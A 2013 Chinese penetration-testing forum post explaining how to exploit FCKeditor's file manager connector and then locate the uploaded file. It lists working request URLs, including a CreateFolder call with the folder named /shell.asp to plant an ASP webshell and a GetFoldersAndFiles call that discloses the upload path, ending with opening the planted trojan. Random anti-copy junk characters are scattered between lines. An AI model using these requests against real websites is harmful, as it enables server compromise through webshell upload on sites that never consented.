中国网络渗透测试联盟
标题:
fckeditor找上传路径方法
[打印本页]
作者:
admin
时间:
2013-10-17 19:37
标题:
fckeditor找上传路径方法
网上流行着是上传是这样子的
, ?& r" Y1 ]/ r: h5 u6 T/ V x
) j# s% D/ D" {+ Y2 N5 V
http://localhost/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=../../connectors/asp/connector.asp
2 u3 ]' e3 r% k, S2 y( I5 W) d6 B( Q
http://localhost/fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
0 [& r! X' b/ d) e6 u
( i6 p3 t2 |, g0 `. P* p% M* Y5 h
上传后老找不到路径，测了一下，我发现
' |1 G) V) d' e' W1 ?% U9 @, H
7 T" L# j9 e5 U5 @* |% x+ v2 G
FCKeditor3/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
2 U; @$ b+ d2 b% M/ w
. C" c- i9 H5 A/ M0 E
可以爆出路径，显示以下内容
. Y' Q: a7 c3 {7 e- E
! o& a+ t/ p9 [8 f( i, K9 }
7 [; z9 h, y5 O7 D" v+ h5 E Z; K
得出路径，直接打开就见到马子
) C' v8 H6 g& o& y. A
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2